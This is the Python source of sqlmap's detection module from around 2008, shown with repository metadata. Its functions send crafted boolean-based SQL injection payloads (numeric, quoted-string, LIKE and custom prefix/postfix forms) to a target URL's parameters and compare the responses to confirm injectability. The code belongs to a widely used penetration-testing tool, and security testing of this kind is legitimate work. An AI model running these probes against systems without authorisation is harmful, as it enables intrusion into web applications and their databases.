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https://github.com/sqlmapproject/sqlmap.git
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35708a0b97
Updated command line help message based upon recent developments. Updated copyright note of lib/contrib/multipartpost.py.
401 lines
15 KiB
Python
401 lines
15 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import re
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import time
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from lib.controller.action import action
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from lib.core.agent import agent
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapConnectionException
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from lib.core.session import setString
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from lib.core.session import setRegexp
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from lib.request.connect import Connect as Request
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def checkSqlInjection(place, parameter, value, parenthesis):
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"""
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This function checks if the GET, POST, Cookie, User-Agent
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parameters are affected by a SQL injection vulnerability and
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identifies the type of SQL injection:
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* Unescaped numeric injection
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* Single quoted string injection
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* Double quoted string injection
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"""
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randInt = randomInt()
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randStr = randomStr()
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if conf.prefix or conf.postfix:
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prefix = ""
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postfix = ""
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if conf.prefix:
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prefix = conf.prefix
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if conf.postfix:
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postfix = conf.postfix
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infoMsg = "testing custom injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming custom injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "custom injectable "
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logger.info(infoMsg)
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return "custom"
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infoMsg = "testing unescaped numeric injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming unescaped numeric injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "unescaped numeric injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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logger.info(infoMsg)
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return "numeric"
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infoMsg = "%s parameter '%s' is not " % (place, parameter)
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infoMsg += "unescaped numeric injectable"
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logger.info(infoMsg)
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infoMsg = "testing single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "single quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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logger.info(infoMsg)
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return "stringsingle"
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infoMsg = "%s parameter '%s' is not " % (place, parameter)
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infoMsg += "single quoted string injectable"
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logger.info(infoMsg)
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infoMsg = "testing LIKE single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming LIKE single quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "LIKE single quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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logger.info(infoMsg)
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return "likesingle"
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infoMsg = "%s parameter '%s' is not " % (place, parameter)
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infoMsg += "LIKE single quoted string injectable"
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logger.info(infoMsg)
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infoMsg = "testing double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "double quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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logger.info(infoMsg)
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return "stringdouble"
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infoMsg = "%s parameter '%s' is not " % (place, parameter)
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infoMsg += "double quoted string injectable"
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logger.info(infoMsg)
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infoMsg = "testing LIKE double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
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trueResult = Request.queryPage(payload, place)
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if trueResult == True:
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payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "confirming LIKE double quoted string injection "
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infoMsg += "on %s parameter '%s'" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
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falseResult = Request.queryPage(payload, place)
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if falseResult != True:
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infoMsg = "%s parameter '%s' is " % (place, parameter)
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infoMsg += "LIKE double quoted string injectable "
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infoMsg += "with %d parenthesis" % parenthesis
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logger.info(infoMsg)
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return "likedouble"
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infoMsg = "%s parameter '%s' is not " % (place, parameter)
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infoMsg += "LIKE double quoted string injectable"
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logger.info(infoMsg)
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return None
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def checkDynParam(place, parameter, value):
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"""
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This function checks if the url parameter is dynamic. If it is
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dynamic, the content of the page differs, otherwise the
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dynamicity might depend on another parameter.
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"""
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infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
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logger.info(infoMsg)
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randInt = randomInt()
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payload = agent.payload(place, parameter, value, str(randInt))
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dynResult1 = Request.queryPage(payload, place)
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if True == dynResult1:
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return False
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infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
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logger.info(infoMsg)
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payload = agent.payload(place, parameter, value, "'%s" % randomStr())
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dynResult2 = Request.queryPage(payload, place)
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payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
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dynResult3 = Request.queryPage(payload, place)
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condition = True != dynResult2
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condition |= True != dynResult3
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return condition
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def checkStability():
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"""
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This function checks if the URL content is stable requesting the
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same page three times with a small delay within each request to
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assume that it is stable.
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In case the content of the page differs when requesting
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the same page, the dynamicity might depend on other parameters,
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like for instance string matching (--string).
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"""
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infoMsg = "testing if the url is stable, wait a few seconds"
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logger.info(infoMsg)
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firstPage, firstHeaders = Request.queryPage(content=True)
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time.sleep(1)
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secondPage, secondHeaders = Request.queryPage(content=True)
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time.sleep(0.5)
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condition = firstPage == secondPage
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if condition == False:
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warnMsg = "url is not stable, sqlmap will base the page "
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warnMsg += "comparison on a sequence matcher, if no dynamic nor "
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warnMsg += "injectable parameters are detected, refer to user's "
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warnMsg += "manual paragraph 'Page comparison' and provide a "
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warnMsg += "string or regular expression to match on"
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logger.warn(warnMsg)
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if condition == True:
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logMsg = "url is stable"
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logger.info(logMsg)
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return condition
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def checkString():
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if not conf.string:
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return True
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condition = (
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kb.resumedQueries.has_key(conf.url) and
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kb.resumedQueries[conf.url].has_key("String") and
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kb.resumedQueries[conf.url]["String"][:-1] == conf.string
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)
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if condition:
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return True
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infoMsg = "testing if the provided string is within the "
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infoMsg += "target URL page content"
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logger.info(infoMsg)
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page, _ = Request.queryPage(content=True)
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if conf.string in page:
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setString()
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return True
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else:
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errMsg = "you provided '%s' as the string to " % conf.string
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errMsg += "match, but such a string is not within the target "
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errMsg += "URL page content, please provide another string."
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logger.error(errMsg)
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return False
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def checkRegexp():
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if not conf.regexp:
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return True
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condition = (
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kb.resumedQueries.has_key(conf.url) and
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kb.resumedQueries[conf.url].has_key("Regular expression") and
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kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
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)
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if condition:
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return True
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infoMsg = "testing if the provided regular expression matches within "
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infoMsg += "the target URL page content"
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logger.info(infoMsg)
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page, _ = Request.queryPage(content=True)
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if re.search(conf.regexp, page, re.I | re.M):
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setRegexp()
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return True
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else:
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errMsg = "you provided '%s' as the regular expression to " % conf.regexp
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errMsg += "match, but such a regular expression does not have any "
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errMsg += "match within the target URL page content, please provide "
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errMsg += "another regular expression."
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logger.error(errMsg)
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return False
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def checkConnection():
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infoMsg = "testing connection to the target url"
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logger.info(infoMsg)
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try:
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page, _ = Request.getPage()
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conf.seqMatcher.set_seq1(page)
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except sqlmapConnectionException, exceptionMsg:
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if conf.multipleTargets:
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exceptionMsg += ", skipping to next url"
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logger.warn(exceptionMsg)
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return False
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else:
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raise sqlmapConnectionException, exceptionMsg
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return True
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